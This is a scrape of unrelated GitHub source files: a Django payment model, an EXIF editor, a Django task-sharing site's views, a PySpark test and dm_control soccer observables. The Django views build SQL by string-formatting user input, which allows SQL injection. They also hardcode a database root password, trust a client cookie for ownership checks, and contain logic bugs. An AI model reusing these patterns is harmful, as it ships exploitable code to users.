max_length=255)\n payment_status = models.CharField('Статус оплаты', max_length=100)\n\n class Meta:\n verbose_name = 'Оплата заказа'\n verbose_name_plural = 'Оплаты заказов'\n\n def __str__(self) -> str:\n return self.order_id\n\n def create_payment(self, amount, return_url, description, order_number, customer_name, customer_email, customer_phone):\n\n Configuration.configure(settings.SHOP_ID, settings.SHOP_API_KEY)\n\n Configuration.configure_user_agent(\n framework=Version('Django', '4.1.3')\n )\n\n payment_response = Payment.create(\n {\n \"amount\": {\n \"value\": amount,\n \"currency\": \"RUB\"\n },\n \"confirmation\": {\n \"type\": \"redirect\",\n \"return_url\": return_url\n },\n \"capture\": True,\n \"description\": description,\n \"metadata\": {\n 'orderNumber': order_number\n },\n \"receipt\": {\n \"customer\": {\n \"full_name\": customer_name,\n \"email\": customer_email,\n \"phone\": customer_phone,\n \"inn\": \"0\"\n },\n \"items\": [\n {\n \"description\": description,\n \"quantity\": \"1.00\",\n \"amount\": {\n \"value\": amount,\n \"currency\": \"RUB\"\n },\n \"vat_code\": \"2\",\n \"payment_mode\": \"full_payment\",\n \"payment_subject\": \"commodity\",\n \"country_of_origin_code\": \"CN\",\n \"product_code\": \"44 4D 01 00 21 FA 41 00 23 05 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 00 AB 00\",\n \"customs_declaration_number\": \"10714040/140917/0090376\",\n \"excise\": \"20.00\",\n \"supplier\": {\n \"name\": \"string\",\n \"phone\": \"string\",\n \"inn\": \"string\"\n }\n },\n ]\n }\n }\n )\n\n self.payment_id = payment_response['id']\n\n return payment_response\n\n def check_payment_status(self, payment_id):\n\n response = Payment.find_one(payment_id)\n\n self.payment_status = response['status']\n\n return response\n\n","repo_name":"MSMikl/cake-site","sub_path":"payments/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32380682475","text":"import os\nfrom os.path import join\n\nfrom exif import Image\n\nfrom source.definitions import PHOTOS_RAW_DIR\n\n\n\nimage_filename = join(PHOTOS_RAW_DIR, os.listdir(PHOTOS_RAW_DIR)[1])\nprint(image_filename)\n\nwith open(image_filename, 'rb') as image_file:\n my_image = Image(image_file)\n\nsetattr(my_image, \"datetime\", \"1995:05:10 12:00:00\")\n#https://www.awaresystems.be/imaging/tiff/tifftags/datetime.html\nsetattr(my_image, \"datetime_original\", \"1995:05:10 12:00:00\")\n#https://www.awaresystems.be/imaging/tiff/tifftags/privateifd/exif/datetimeoriginal.html\nsetattr(my_image, \"datetime_digitized\", \"1995:05:10 12:00:00\")\n#https://www.awaresystems.be/imaging/tiff/tifftags/privateifd/exif/datetimedigitized.html\nsetattr(my_image, \"orientation\", \"6\")\n#https://www.awaresystems.be/imaging/tiff/tifftags/orientation.html\n\nfor exif_type in dir(my_image):\n try:\n print(exif_type + \": \" + getattr(my_image, exif_type))\n except:\n print(\"Can't get \" + exif_type)\n\nwith open(image_filename, 'wb') as new_image_file:\n new_image_file.write(my_image.get_file())\n\n\n# for exif_type in dir(my_image):\n# print(my_image['exif_type'])\n#\n#\n","repo_name":"pike00/Photo-Date-Project","sub_path":"exif_editor/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19300073272","text":"# JSON files deserializer (we can adapt it for other problems so we always use the same library)\nimport json\n\ndef load_data():\n\twith open('P21.json') as data_file: \n\t data = json.load(data_file)\n\n\tv_max = data[\"vehicle_v_max\"]\n\tobstacles = []\n\tstarts = data[\"start_positions\"]\n\tgoals = data[\"goal_positions\"]\n\tb_polygon = data[\"bounding_polygon\"]\n\tfor i in range(1, 100):\n\t\ttry:\n\t\t\tobstacles.append(data[\"obstacle_\" + str(i)])\n\t\texcept:\n\t\t\tbreak\n\treturn v_max, obstacles, starts, goals, b_polygon","repo_name":"Lykaos/AI-Task-Planning","sub_path":"P21/deserializer.py","file_name":"deserializer.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39311039698","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, JsonResponse, HttpResponseForbidden\nfrom django.core.files.storage import default_storage\nimport json\nfrom django.utils import timezone\nfrom affair.models import AffairImg, AffairInfo\nfrom login.models import AccountInfo\nfrom login.views import cookiesVerify\nimport pymysql\n\ntypeDic = {'study': '学习帮助',\n 'life': '日常帮助',\n 'restThing': '闲置物品',\n 'techNeed': '技术帮助',\n 'groupNeed': '组队需求',\n 'other': '其他'}\n\ninvertTypeDic = dict([(v, k) for (k, v) in typeDic.items()])\n\ntypeArray = ['学习帮助', '日常帮助', '闲置物品', '技术帮助', '组队需求', '其他']\n\ntagDic = {'errand': '跑腿',\n 'takeOut': '外卖',\n 'express': '快递',\n 'tutor': '辅导',\n 'findGroup': '组队',\n 'competition': '竞赛',\n 'findTheOtherPart': '找伴',\n 'findFriend': '找伴'}\n\ntagArray = ['跑腿', '外卖', '快递', '辅导', '组队', '竞赛', '找伴']\n\n\ndef createAffair(request):\n num = []\n temp = 1\n for i in range(10):\n num.append(temp)\n temp = temp * 2\n\n context = {'typeDic': typeDic, 'typeArray': typeArray, 'num': num, 'tagArray': tagArray}\n return render(request, 'affair/createAffair.html', context)\n\n\ndef processSubmit(request):\n if request.method == 'POST':\n result = cookiesVerify(request)\n print(request.POST)\n data = request.POST\n\n if (result == '0'): # 密码认证正确\n accountInfo = AccountInfo.objects.get(phoneNumber=request.COOKIES['phoneNumber'])\n\n\n\n affairInfo = AffairInfo(affairProviderId=accountInfo,\n type=data['type'],\n affairName=data['affairName'],\n affairDetail=data['affairDetail'],\n affairCreateTime=timezone.now(),\n lastUpdateTime=timezone.now(),\n needReceiverNum=int(data['receiverNum'])\n )\n\n if (data['reward'] == ''):\n affairInfo.rewardType = '0'\n affairInfo.rewardMoney = 0\n else:\n judge = '0' # 0代表全是数字，则判断酬劳为RMB\n for c in data['reward']:\n if ((c <= '0' or c >= '9') and c != '.'):\n judge = '1'\n break\n affairInfo.rewardType = '0'\n if (judge == '0'):\n affairInfo.rewardMoney = float(data['reward'])\n print(float(data['reward']))\n else:\n affairInfo.rewardType = '1'\n affairInfo.rewardThing = data['reward']\n\n print(data.getlist('tag'))\n temp = ''\n for tag in data.getlist('tag'): # 里边会有多个标签\n temp = temp + tag + ';'\n affairInfo.tag = temp\n affairInfo.save()\n\n count = 0\n for imgFile in request.FILES.getlist('img_file'):\n count = count + 1\n new_img = affairInfo.affairimg_set.create(\n img=imgFile,\n name=imgFile.name\n )\n sendBack = {'statusCode': '0'}\n return JsonResponse(sendBack)\n\n if (result == '1' or result == '2'):\n sendBack = {'statusCode': result}\n return JsonResponse(sendBack)\n\n sendBack = {'statusCode': '3'}\n return JsonResponse(sendBack)\n\n\n\n\ndef affairDisplay(request, affairType):\n db = pymysql.connect('127.0.0.1', 'root', '522087905', 'mysite')\n cursor = db.cursor(pymysql.cursors.DictCursor)\n # 为各个表创建视图\n createDatabaseView(db, cursor)\n\n # 开始正式查询相关类别的数据\n sql = \"select * from view_affair_type_{0} where statusFlag = '0' ORDER BY affairCreateTime DESC\".format(str(affairType))\n cursor.execute(sql)\n affairData = cursor.fetchall()\n previousId = -1\n\n print(affairData)\n # 解决一个事务有多个图片，前台展示时展示多个同样事务的问题\n for data in affairData:\n if (data['statusFlag'] == '0'):\n if (data['affairId'] != previousId):\n previousId = data['affairId']\n continue\n else:\n affairData.remove(data)\n\n else:\n affairData.remove(data)\n print(affairData)\n db.commit()\n db.close()\n\n context = {'affairData': affairData, 'defaultImgPath': 'affairImg/default.png', \"typeDic\": typeDic,\n 'affairType': affairType}\n return render(request, 'affair/affairDisplay.html', context)\n\n\ndef createDatabaseView(db, cursor):\n for type in typeDic.keys():\n try:\n # 为每一个类别建立视图\n sql = \"drop view if exists view_affair_type_\" + type\n cursor.execute(sql)\n print(type)\n\n sql = \"drop view if exists view_affair_type_briefInfo_\" + type\n cursor.execute(sql)\n\n sql = \"create view view_affair_type_briefInfo_{0} as (select * from affair_affairinfo where affair_affairinfo.type = '{1}' )\".format(\n str(type), str(typeDic[type]))\n cursor.execute(sql)\n\n sql = \"create view view_affair_type_{0} as (select info.affairId, info.type, info.tag, info.affairDetail, info.affairCreateTime, info.rewardType, info.rewardMoney, info.rewardThing, info.needReceiverNum, info.receiverNum, info.affairProviderId_id, info.statusFlag, info.affairName, img.id, img.img, img.name from view_affair_type_briefInfo_{1} as info left join affair_affairimg as img on info.affairid = img.affair_id)\".format(\n str(type), str(type))\n cursor.execute(sql)\n db.commit()\n except Exception as e:\n db.rollback()\n db.close()\n print(\"创建视图错误：\\n\" + str(e))\n\n\ndef affairDetail(request, affairType, affairId):\n db = pymysql.connect('127.0.0.1', 'root', '522087905', 'mysite')\n cursor = db.cursor(pymysql.cursors.DictCursor)\n sql = \"select * from view_affair_type_{0} as info where info.affairId = {1}\".format(str(affairType),str(affairId))\n cursor.execute(sql)\n affairData = cursor.fetchall()\n\n print(affairData)\n\n imgArray = []\n for img in affairData:\n temp = {'img': img['img'], 'name': img['name']}\n imgArray.append(temp)\n\n print(imgArray)\n\n # 评论信息\n sql = \"\"\"\n select login_accountInfo.nickName as 'nickName', discuss_discuss.content as 'content', discuss_discuss.createTime as createTime \n from discuss_discuss, discuss_discuss_account, login_accountInfo\n where discuss_discuss.id = discuss_discuss_account.discussId_id and discuss_discuss.affairId_id = {0} and login_accountInfo.id = discuss_discuss_account.createrId\"\"\".format(\n str(affairId))\n\n cursor.execute(sql)\n discussContent = cursor.fetchall()\n print(discussContent)\n\n db.commit()\n db.close()\n context = {'affairData': affairData[0], 'imgArray': imgArray, \"typeDic\": typeDic, \"discussContent\": discussContent}\n return render(request, 'affair/affairDetail.html', context)\n\n\ndef editAffair(request, affairId):\n db = pymysql.connect('127.0.0.1', 'root', '522087905', 'mysite')\n cursor = db.cursor(pymysql.cursors.DictCursor)\n\n sql = '''\n select *\n from affair_affairInfo as info\n where info.affairId = {0}'''.format(str(affairId))\n\n cursor.execute(sql)\n data = cursor.fetchone()\n\n # 安全检查，看这事务是否属于该用户\n if (str(request.COOKIES['id']) != str(data['affairProviderId_id'])):\n context = {\"typeDic\": typeDic}\n return HttpResponseForbidden()\n\n needReceiverNum = data['needReceiverNum']\n receiverNum = data['receiverNum']\n\n if((receiverNum < needReceiverNum) and (data['statusFlag']=='1')):\n print('进入修改')\n sql = \"\"\"\n update affair_affairInfo as info\n set info.statusFlag = '{0}'\n where info.affairId = {1}\"\"\".format(str(0),str(affairId))\n cursor.execute(sql)\n db.commit()\n\n tag = data['tag']\n tag = tag.split(';')\n tag.pop()\n data['tag'] = tag\n\n\n num = []\n temp = 1\n for i in range(1,11):\n temp = temp * 2\n if (temp < receiverNum):\n print(temp)\n continue\n num.append(temp)\n context = {'typeDic': typeDic, 'typeArray': typeArray, 'num': num, 'tagArray': tagArray}\n context['previousedData'] = data\n\n db.close()\n return render(request, \"affair/editAffair.html\", context)\n\n\ndef processEditAffair(request, affairId):\n result = cookiesVerify(request)\n print(result)\n if (result == '0'):\n try:\n db = pymysql.connect('127.0.0.1', 'root', '522087905', 'mysite')\n cursor = db.cursor(pymysql.cursors.DictCursor)\n\n data = request.POST\n print(data)\n affairName = data['affairName']\n affairType = data['type']\n needReceiverNum = data['receiverNum']\n reward = data['reward']\n affairDetail = data['affairDetail']\n\n temp = ''\n for tag in data.getlist('tag'): # 里边会有多个标签\n temp = temp + tag + ';'\n tag = temp\n print(tag)\n\n if (data['reward'] == ''):\n rewardType = '0'\n rewardMoney = 0\n rewardThing = 'nothing'\n else:\n judge = '0' # 0代表全是数字，则判断酬劳为RMB\n for c in data['reward']:\n if ((c <= '0' or c >= '9') and c != '.'):\n judge = '1'\n break\n rewardType = '0'\n if (judge == '0'):\n rewardMoney = float(data['reward'])\n rewardThing = 'nothing'\n else:\n rewardType = '1'\n rewardThing = data['reward']\n rewardMoney = 0\n\n\n sql = \"\"\"\n update affair_affairInfo as info\n set info.affairName = '{0}', info.needReceiverNum = {1}, info.tag = '{2}', info.affairDetail = '{3}', info.type = '{4}', info.rewardType = '{5}', info.rewardMoney = {6}, info.rewardThing = '{7}'\n where info.affairId = {8}\"\"\".format(str(affairName), str(needReceiverNum),\n str(affairDetail), str(affairDetail), str(affairType),\n str(rewardType), str(rewardMoney), str(rewardThing),\n str(affairId))\n\n cursor.execute(sql)\n db.commit()\n sql = \"\"\"\n select needReceiverNum, receiverNum, statusFlag\n from affair_affairInfo\n where affairId = {0}\"\"\".format(str(affairId))\n\n cursor.execute(sql)\n info = cursor.fetchone()\n\n if(info['statusFlag'] == '1') and (info['needReceiverNum']>info['receiverNum']):\n sql = \"\"\"\n update affair_affairInfo\n set statusFlag = {0}\n where affairId = {1}\"\"\".format(str(0), str(affairId))\n cursor.execute(sql)\n db.commit()\n\n if (request.FILES.getlist('img_file')):\n affairInfo = AffairInfo.objects.get(affairId=affairId)\n previousImg = AffairImg.objects.filter(affair_id=4)\n for img in previousImg:\n img.delete()\n\n for imgFile in request.FILES.getlist('img_file'):\n new_img = affairInfo.affairimg_set.create(\n img=imgFile,\n name=imgFile.name\n )\n db.close()\n sendBack = {\"statusCode\": \"0\"}\n return JsonResponse(sendBack)\n\n except Exception as e:\n db.rollback()\n db.close()\n print(\"processEditAffair()数据库操作失败：\\n\", e)\n sendBack = {\"statusCode\": \"2\"}\n return JsonResponse(sendBack)\n else:\n sendBack = {\"statusCode\": \"1\"}\n return JsonResponse(sendBack)\n\n\ndef deleteAffair(request, affairId):\n db = pymysql.connect('127.0.0.1', 'root', '522087905', 'mysite')\n cursor = db.cursor(pymysql.cursors.DictCursor)\n\n sql = '''\n select *\n from affair_affairInfo as info\n where info.affairId = {0}'''.format(str(affairId))\n\n cursor.execute(sql)\n data = cursor.fetchone()\n\n # 安全检查，看这事务是否属于该用户\n if (str(request.COOKIES['id']) != str(data['affairProviderId_id'])):\n print(data['affairProviderId_id'])\n print(request.COOKIES['id'])\n context = {\"typeDic\": typeDic}\n return HttpResponseForbidden()\n\n sql = \"\"\"\n update affair_affairInfo as info\n set info.statusFlag = '{0}'\n where info.affairId = {1}\"\"\".format(str(3),str(affairId))\n cursor.execute(sql)\n db.commit()\n\n context = {'typeDic': typeDic, 'typeArray': typeArray, 'tagArray': tagArray}\n context['previousedData'] = data\n\n db.close()\n return render(request, \"myinfo/myinfo.html\", context)\n\n\nclass MyError(Exception): # 定义一个异常类，继承Exception\n\n def __init__(self, message):\n self.message = message\n\n def __str__(self):\n return self.message\n","repo_name":"amberOoO/mysite","sub_path":"affair/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13476,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"8346264239","text":"from . import basetests\nfrom pyspark.sql.types import *\n\nimport os\nimport clustering # script file needs to be imported after basetests\n\n\nclass ClusteringTest(basetests.BaseTestClass):\n def mock_data(self):\n \"\"\"Mock data to imitate read from database.\"\"\"\n schema = StructType([\n StructField(\"id\", StringType(), True),\n StructField(\"x\", DoubleType(), True),\n StructField(\"y\", DoubleType(), True),\n ])\n\n mock_data_df = (self.spark_session\n .read\n .format(\"csv\")\n .schema(schema)\n .load(os.path.join(os.path.dirname(\n os.path.abspath(__file__)), \"mock_data.csv\"))\n )\n return mock_data_df\n\n def test_count(self):\n \"\"\"Check if mock data has five rows.\"\"\"\n self.assertEqual(self.mock_data().count(), 5)\n\n def test_convert_df(self):\n \"\"\"Check if dataframe has the form (id, DenseVector).\"\"\"\n input_df = clustering.convert_df(self.spark_session, self.mock_data())\n self.assertEqual(input_df.dtypes, [(\"id\", \"string\"),\n (\"features\", \"vector\")])\n\n def test_rescale_df_first_entry(self):\n \"\"\"Check if rescaling works for the first entry of the first row.\"\"\"\n input_df = clustering.convert_df(self.spark_session, self.mock_data())\n scaled_df = clustering.rescale_df(input_df)\n self.assertAlmostEqual(scaled_df.rdd.map(lambda x: x.features_scaled)\n .take(1)[0].toArray()[0], 0.8770580193070292)\n\n def test_rescale_df_second_entry(self):\n \"\"\"Check if rescaling works for the second entry of the first row.\"\"\"\n input_df = clustering.convert_df(self.spark_session, self.mock_data())\n scaled_df = clustering.rescale_df(input_df)\n self.assertAlmostEqual(scaled_df.rdd.map(lambda x: x.features_scaled)\n .take(1)[0].toArray()[1], 0.48224282217041214)\n\n def test_assign_cluster(self):\n \"\"\"Check if rows are labeled as expected.\"\"\"\n input_df = clustering.convert_df(self.spark_session, self.mock_data())\n scaled_df = clustering.rescale_df(input_df)\n label_df = clustering.assign_cluster(scaled_df)\n self.assertEqual(label_df.rdd.map(lambda x: x.label).collect(),\n [0, 0, 0, 1, 1])\n","repo_name":"datitran/spark-tdd-example","sub_path":"tests/test_clustering.py","file_name":"test_clustering.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"47"} +{"seq_id":"73566329423","text":"import abc\n\nfrom dm_control.composer.observation import observable as base_observable\nfrom dm_control.locomotion.soccer import team as team_lib\nimport numpy as np\n\n\nclass ObservablesAdder(metaclass=abc.ABCMeta):\n \"\"\"A callable that adds a set of per-player observables for a task.\"\"\"\n\n @abc.abstractmethod\n def __call__(self, task, player):\n \"\"\"Adds observables to a player for the given task.\n\n Args:\n task: A `soccer.Task` instance.\n player: A `Walker` instance to which observables will be added.\n \"\"\"\n\n\nclass MultiObservablesAdder(ObservablesAdder):\n \"\"\"Applies multiple `ObservablesAdder`s to a soccer task and player.\"\"\"\n\n def __init__(self, observables):\n \"\"\"Initializes a `MultiObservablesAdder` instance.\n\n Args:\n observables: A list of `ObservablesAdder` instances.\n \"\"\"\n self._observables = observables\n\n def __call__(self, task, player):\n \"\"\"Adds observables to a player for the given task.\n\n Args:\n task: A `soccer.Task` instance.\n player: A `Walker` instance to which observables will be added.\n \"\"\"\n for observable in self._observables:\n observable(task, player)\n\n\nclass CoreObservablesAdder(ObservablesAdder):\n \"\"\"Core set of per player observables.\"\"\"\n\n def __call__(self, task, player):\n \"\"\"Adds observables to a player for the given task.\n\n Args:\n task: A `soccer.Task` instance.\n player: A `Walker` instance to which observables will be added.\n \"\"\"\n # Enable proprioceptive observables.\n self._add_player_proprio_observables(player)\n\n # Add egocentric observations of soccer ball.\n self._add_player_observables_on_ball(player, task.ball)\n\n # Add egocentric observations of others.\n teammate_id = 0\n opponent_id = 0\n for other in task.players:\n if other is player:\n continue\n # Infer team prefix for `other` conditioned on `player.team`.\n if player.team != other.team:\n prefix = 'opponent_{}'.format(opponent_id)\n opponent_id += 1\n else:\n prefix = 'teammate_{}'.format(teammate_id)\n teammate_id += 1\n\n self._add_player_observables_on_other(player, other, prefix)\n\n self._add_player_arena_observables(player, task.arena)\n\n # Add per player game statistics.\n self._add_player_stats_observables(task, player)\n\n def _add_player_observables_on_other(self, player, other, prefix):\n \"\"\"Add observables of another player in this player's egocentric frame.\n\n Args:\n player: A `Walker` instance, the player we are adding observables to.\n other: A `Walker` instance corresponding to a different player.\n prefix: A string specifying a prefix to apply to the names of observables\n belonging to `player`.\n \"\"\"\n if player is other:\n raise ValueError('Cannot add egocentric observables of player on itself.')\n\n sensors = []\n for effector in other.walker.end_effectors:\n name = effector.name + '_' + prefix + '_end_effector'\n sensors.append(player.walker.mjcf_model.sensor.add(\n 'framepos', name=name,\n objtype=effector.tag, objname=effector,\n reftype='body', refname=player.walker.root_body))\n def _egocentric_end_effectors_xpos(physics):\n return np.reshape(physics.bind(sensors).sensordata, -1)\n # Adds end effectors of the other agents in the player's egocentric frame.\n name = '{}_ego_end_effectors_pos'.format(prefix)\n player.walker.obs_on_other[name] = sensors\n player.walker.observables.add_observable(\n name,\n base_observable.Generic(_egocentric_end_effectors_xpos))\n\n ego_linvel_name = '{}_ego_linear_velocity'.format(prefix)\n ego_linvel_sensor = player.walker.mjcf_model.sensor.add(\n 'framelinvel', name=ego_linvel_name,\n objtype='body', objname=other.walker.root_body,\n reftype='body', refname=player.walker.root_body)\n player.walker.obs_on_other[ego_linvel_name] = [ego_linvel_sensor]\n player.walker.observables.add_observable(\n ego_linvel_name,\n base_observable.MJCFFeature('sensordata', ego_linvel_sensor))\n\n ego_pos_name = '{}_ego_position'.format(prefix)\n ego_pos_sensor = player.walker.mjcf_model.sensor.add(\n 'framepos', name=ego_pos_name,\n objtype='body', objname=other.walker.root_body,\n reftype='body', refname=player.walker.root_body)\n player.walker.obs_on_other[ego_pos_name] = [ego_pos_sensor]\n player.walker.observables.add_observable(\n ego_pos_name,\n base_observable.MJCFFeature('sensordata', ego_pos_sensor))\n\n sensors_rot = []\n obsname = '{}_ego_orientation'.format(prefix)\n for direction in ['x', 'y', 'z']:\n sensorname = obsname + '_' + direction\n sensors_rot.append(player.walker.mjcf_model.sensor.add(\n 'frame'+direction+'axis', name=sensorname,\n objtype='body', objname=other.walker.root_body,\n reftype='body', refname=player.walker.root_body))\n def _egocentric_orientation(physics):\n return np.reshape(physics.bind(sensors_rot).sensordata, -1)\n player.walker.obs_on_other[obsname] = sensors_rot\n player.walker.observables.add_observable(\n obsname,\n base_observable.Generic(_egocentric_orientation))\n\n # Adds end effectors of the other agents in the other's egocentric frame.\n # A is seeing B's hand extended to B's right.\n player.walker.observables.add_observable(\n '{}_end_effectors_pos'.format(prefix),\n other.walker.observables.end_effectors_pos)\n\n def _add_player_observables_on_ball(self, player, ball):\n \"\"\"Add observables of the soccer ball in this player's egocentric frame.\n\n Args:\n player: A `Walker` instance, the player we are adding observations for.\n ball: A `SoccerBall` instance.\n \"\"\"\n # Add egocentric ball observations.\n player.walker.ball_ego_angvel_sensor = player.walker.mjcf_model.sensor.add(\n 'frameangvel', name='ball_ego_angvel',\n objtype='body', objname=ball.root_body,\n reftype='body', refname=player.walker.root_body)\n player.walker.observables.add_observable(\n 'ball_ego_angular_velocity',\n base_observable.MJCFFeature('sensordata',\n player.walker.ball_ego_angvel_sensor))\n\n player.walker.ball_ego_pos_sensor = player.walker.mjcf_model.sensor.add(\n 'framepos', name='ball_ego_pos',\n objtype='body', objname=ball.root_body,\n reftype='body', refname=player.walker.root_body)\n player.walker.observables.add_observable(\n 'ball_ego_position',\n base_observable.MJCFFeature('sensordata',\n player.walker.ball_ego_pos_sensor))\n\n player.walker.ball_ego_linvel_sensor = player.walker.mjcf_model.sensor.add(\n 'framelinvel', name='ball_ego_linvel',\n objtype='body', objname=ball.root_body,\n reftype='body', refname=player.walker.root_body)\n player.walker.observables.add_observable(\n 'ball_ego_linear_velocity',\n base_observable.MJCFFeature('sensordata',\n player.walker.ball_ego_linvel_sensor))\n\n def _add_player_proprio_observables(self, player):\n \"\"\"Add proprioceptive observables to the given player.\n\n Args:\n player: A `Walker` instance, the player we are adding observations for.\n \"\"\"\n for observable in (player.walker.observables.proprioception +\n player.walker.observables.kinematic_sensors):\n observable.enabled = True\n\n # Also enable previous action observable as part of proprioception.\n player.walker.observables.prev_action.enabled = True\n\n def _add_player_arena_observables(self, player, arena):\n \"\"\"Add observables of the arena.\n\n Args:\n player: A `Walker` instance to which observables will be added.\n arena: A `Pitch` instance.\n \"\"\"\n # Enable egocentric view of position detectors (goal, field).\n # Corners named according to walker *facing towards opponent goal*.\n clockwise_names = [\n 'team_goal_back_right',\n 'team_goal_mid',\n 'team_goal_front_left',\n 'field_front_left',\n 'opponent_goal_back_left',\n 'opponent_goal_mid',\n 'opponent_goal_front_right',\n 'field_back_right',\n ]\n clockwise_features = [\n lambda _: arena.home_goal.lower[:2],\n lambda _: arena.home_goal.mid,\n lambda _: arena.home_goal.upper[:2],\n lambda _: arena.field.upper,\n lambda _: arena.away_goal.upper[:2],\n lambda _: arena.away_goal.mid,\n lambda _: arena.away_goal.lower[:2],\n lambda _: arena.field.lower,\n ]\n xpos_xyz_callable = lambda p: p.bind(player.walker.root_body).xpos\n xpos_xy_callable = lambda p: p.bind(player.walker.root_body).xpos[:2]\n # A list of egocentric reference origin for each one of clockwise_features.\n clockwise_origins = [\n xpos_xy_callable,\n xpos_xyz_callable,\n xpos_xy_callable,\n xpos_xy_callable,\n xpos_xy_callable,\n xpos_xyz_callable,\n xpos_xy_callable,\n xpos_xy_callable,\n ]\n if player.team != team_lib.Team.HOME:\n half = len(clockwise_features) // 2\n clockwise_features = clockwise_features[half:] + clockwise_features[:half]\n clockwise_origins = clockwise_origins[half:] + clockwise_origins[:half]\n\n for name, feature, origin in zip(clockwise_names, clockwise_features,\n clockwise_origins):\n player.walker.observables.add_egocentric_vector(\n name, base_observable.Generic(feature), origin_callable=origin)\n\n def _add_player_stats_observables(self, task, player):\n \"\"\"Add observables corresponding to game statistics.\n\n Args:\n task: A `soccer.Task` instance.\n player: A `Walker` instance to which observables will be added.\n \"\"\"\n\n def _stats_vel_to_ball(physics):\n dir_ = (\n physics.bind(task.ball.geom).xpos -\n physics.bind(player.walker.root_body).xpos)\n vel_to_ball = np.dot(dir_[:2] / (np.linalg.norm(dir_[:2]) + 1e-7),\n physics.bind(player.walker.root_body).cvel[3:5])\n return np.sum(vel_to_ball)\n\n player.walker.observables.add_observable(\n 'stats_vel_to_ball', base_observable.Generic(_stats_vel_to_ball))\n\n def _stats_closest_vel_to_ball(physics):\n \"\"\"Velocity to the ball if this walker is the team's closest.\"\"\"\n closest = None\n min_team_dist_to_ball = np.inf\n for player_ in task.players:\n if player_.team == player.team:\n dist_to_ball = np.linalg.norm(\n physics.bind(task.ball.geom).xpos -\n physics.bind(player_.walker.root_body).xpos)\n if dist_to_ball < min_team_dist_to_ball:\n min_team_dist_to_ball = dist_to_ball\n closest = player_\n if closest is player:\n return _stats_vel_to_ball(physics)\n return 0.\n\n player.walker.observables.add_observable(\n 'stats_closest_vel_to_ball',\n base_observable.Generic(_stats_closest_vel_to_ball))\n\n def _stats_veloc_forward(physics):\n \"\"\"Player's forward velocity.\"\"\"\n return player.walker.observables.veloc_forward(physics)\n\n player.walker.observables.add_observable(\n 'stats_veloc_forward', base_observable.Generic(_stats_veloc_forward))\n\n def _stats_vel_ball_to_goal(physics):\n \"\"\"Ball velocity towards opponents' goal.\"\"\"\n if player.team == team_lib.Team.HOME:\n goal = task.arena.away_goal\n else:\n goal = task.arena.home_goal\n\n goal_center = (goal.upper + goal.lower) / 2.\n direction = goal_center - physics.bind(task.ball.geom).xpos\n ball_vel_observable = task.ball.observables.linear_velocity\n ball_vel = ball_vel_observable.observation_callable(physics)()\n\n norm_dir = np.linalg.norm(direction)\n normalized_dir = direction / norm_dir if norm_dir else direction\n return np.sum(np.dot(normalized_dir, ball_vel))\n\n player.walker.observables.add_observable(\n 'stats_vel_ball_to_goal',\n base_observable.Generic(_stats_vel_ball_to_goal))\n\n def _stats_avg_teammate_dist(physics):\n \"\"\"Compute average distance from `walker` to its teammates.\"\"\"\n teammate_dists = []\n for other in task.players:\n if player is other:\n continue\n if other.team != player.team:\n continue\n dist = np.linalg.norm(\n physics.bind(player.walker.root_body).xpos -\n physics.bind(other.walker.root_body).xpos)\n teammate_dists.append(dist)\n return np.mean(teammate_dists) if teammate_dists else 0.\n\n player.walker.observables.add_observable(\n 'stats_home_avg_teammate_dist',\n base_observable.Generic(_stats_avg_teammate_dist))\n\n def _stats_teammate_spread_out(physics):\n \"\"\"Compute average distance from `walker` to its teammates.\"\"\"\n return _stats_avg_teammate_dist(physics) > 5.\n\n player.walker.observables.add_observable(\n 'stats_teammate_spread_out',\n base_observable.Generic(_stats_teammate_spread_out))\n\n def _stats_home_score(unused_physics):\n if (task.arena.detected_goal() and\n task.arena.detected_goal() == player.team):\n return 1.\n return 0.\n\n player.walker.observables.add_observable(\n 'stats_home_score', base_observable.Generic(_stats_home_score))\n\n has_opponent = any([p.team != player.team for p in task.players])\n\n def _stats_away_score(unused_physics):\n if (has_opponent and task.arena.detected_goal() and\n task.arena.detected_goal() != player.team):\n return 1.\n return 0.\n\n player.walker.observables.add_observable(\n 'stats_away_score', base_observable.Generic(_stats_away_score))\n\n\n# TODO(b/124848293): add unit-test interception observables.\nclass InterceptionObservablesAdder(ObservablesAdder):\n \"\"\"Adds obervables representing interception events.\n\n These observables represent events where this player received the ball from\n another player, or when an opponent intercepted the ball from this player's\n team. For each type of event there are three different thresholds applied to\n the distance travelled by the ball since it last made contact with a player\n (5, 10, or 15 meters).\n\n For example, on a given timestep `stats_i_received_ball_10m` will be 1 if\n * This player just made contact with the ball\n * The last player to have made contact with the ball was a different player\n * The ball travelled for at least 10 m since it last hit a player\n and 0 otherwise.\n\n Conversely, `stats_opponent_intercepted_ball_10m` will be 1 if:\n * An opponent just made contact with the ball\n * The last player to have made contact with the ball was on this player's team\n * The ball travelled for at least 10 m since it last hit a player\n \"\"\"\n\n def __call__(self, task, player):\n \"\"\"Adds observables to a player for the given task.\n\n Args:\n task: A `soccer.Task` instance.\n player: A `Walker` instance to which observables will be added.\n \"\"\"\n\n def _stats_i_received_ball(unused_physics):\n if (task.ball.hit and task.ball.repossessed and\n task.ball.last_hit is player):\n return 1.\n return 0.\n\n player.walker.observables.add_observable(\n 'stats_i_received_ball',\n base_observable.Generic(_stats_i_received_ball))\n\n def _stats_opponent_intercepted_ball(unused_physics):\n \"\"\"Indicator on if an opponent intercepted the ball.\"\"\"\n if (task.ball.hit and task.ball.intercepted and\n task.ball.last_hit.team != player.team):\n return 1.\n return 0.\n\n player.walker.observables.add_observable(\n 'stats_opponent_intercepted_ball',\n base_observable.Generic(_stats_opponent_intercepted_ball))\n\n for dist in [5, 10, 15]:\n\n def _stats_i_received_ball_dist(physics, dist=dist):\n if (_stats_i_received_ball(physics) and\n 